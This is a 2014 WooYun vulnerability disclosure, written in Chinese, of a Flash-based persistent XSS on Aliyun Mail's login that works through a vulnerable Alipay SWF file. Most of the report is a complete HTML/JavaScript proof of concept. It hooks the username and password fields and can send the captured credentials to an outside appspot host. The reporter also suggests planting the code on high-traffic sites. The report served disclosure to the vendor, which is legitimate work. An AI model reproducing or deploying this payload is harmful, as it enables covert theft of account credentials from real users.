漏洞详情

披露状态:

2014-03-20: 细节已通知厂商并且等待厂商处理中
2014-03-21: 厂商已经确认,细节仅向厂商公开
2014-03-31: 细节向核心白帽子及相关领域专家公开
2014-04-10: 细节向普通白帽子公开
2014-04-20: 细节向实习白帽子公开
2014-05-04: 细节向公众公开

简要描述:

如题,从乌云里学到的然后来找下就来报告了,求5w

详细说明:

打开 mail.aliyun.com 跳转到 https://passport.alipay.com/login/login.htm?return_url=http%3A%2F%2Fmail.aliyun.com%2Falimail%2Fauth%2FcallbackForHavana%3Freurl%3D%252Falimail%252F&fromSite=9,查找DOM可查找到https://img.alipay.com/common/um/lsa.swf?v=1,分析SWF文件可知存在与 WooYun: 一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示) 报告中相同的漏洞,看来这个需要大检查啊



<html>
<head>
<style>
body{background:#000;color:#00ff00;}
a{color:#fff;}
a:visited{color:#fff;}
</style>
<meta charset="gb2312">
</head>
<body>
<script>
//flash rookit template
var siteName="阿里云邮箱";
var siteURL="http://mail.aliyun.com/";
var funcName="setCookie";
var inputs=["loginId","password","fm-login-submit"];
var rec="https://jsfile2012.appspot.com/paypalpoc?data=";
var buttonClassName="fm-button fm-submit";
var demoMethod="alert"; // 可能的值: alert(弹窗), send(发送)
</script>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://img.alipay.com/common/um/lsa.swf?v=1">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://img.alipay.com/common/um/lsa.swf?v=1" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<center><h2>
这是一个窃取<script>document.write(siteName);</script>的XSS演示!<br/>
<br/>
<div style="width:400px;border:1px solid #00ff00;height:30px;text-align:left;">
<div id="pb" style="width:10px;background:#00ff00;height:30px;">&nbsp;
</div>
</div>
<span id="ok">&nbsp;</span>
</h2></center>
<script>
var tcount=1;
function setxss(){document['JSocket'][funcName]('_umdata','\\";location.href=\'javascript:%28function%28%29%7btry%7bfunction $n%28i%29%7bvar a=document.getElementsByName%28i%29;return a.length?a[0]:null%7d;var%20pwd=$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29;pwd.onblur=function%28%29%7bwindow.ppp=%28$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29||%7b%7d%29.value%7d;var xx=document.getElementById%28"'+inputs[2]+'"%29;xx.type=%27button%27;xx.onclick=function%28%29%7bif%28window.$s%29%7breturn true;%7delse%7bxx.setAttribute%28%27class%27,%27'+buttonClassName+'%27%29;xx.value=decodeURIComponent%28%27%25E6%25AD%25A3%25E5%259C%25A8%25E8%25BF%259B%25E5%2585%25A5...%27%29;'+(demoMethod=="alert"?('alert%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'):('new Image%28%29.src=%27'+rec+'%27+escape%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'))+'window.$s=1;setTimeout%28function%28%29%7bxx.type=%27submit%27;xx.click%28%29;%7d,5000%29;return false;%7d%7d;%7dcatch%28e%29%7b%7d%7d%29%28%29;\';//');}

//alert%28%27hooked%27%29
//function setxss(){document['JSocket'].setlso('\\";location.href=\'javascript:alert%281%29\';0//');}
function ccbar(){
var x=setTimeout(function(){
tcount++;
if(tcount>=40){
clearTimeout(x);
document.getElementById("pb").style.width="400px";
document.getElementById("ok").innerHTML="<br/>现在你可以作为受害者登录<a target='_blank' href='"+siteURL+"'>"+siteName+"</a>";
}else{
document.getElementById("pb").style.width=tcount*10+"px";
ccbar();
}
},1000/24);
}
function dodo(){
var x = setTimeout(function(){
if(document['JSocket'][funcName]){
clearTimeout(x);
console.log("ok");
setxss();
ccbar();
}else{
tcount++;
document.getElementById("pb").style.width=tcount*10+"px";
dodo();
}
},100);
}
dodo();
</script>
</body>
</html>





至于利用的方式,可以在流量大的地方挂上这段代码植入rootkit

漏洞证明:

aliyun.jpg





aliyun2.png

修复方案:

版权声明:转载请注明来源 牛奶坦克@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-03-21 11:08

厂商回复:

感谢您对我们的关注和支持!

最新状态:

暂无


漏洞评价: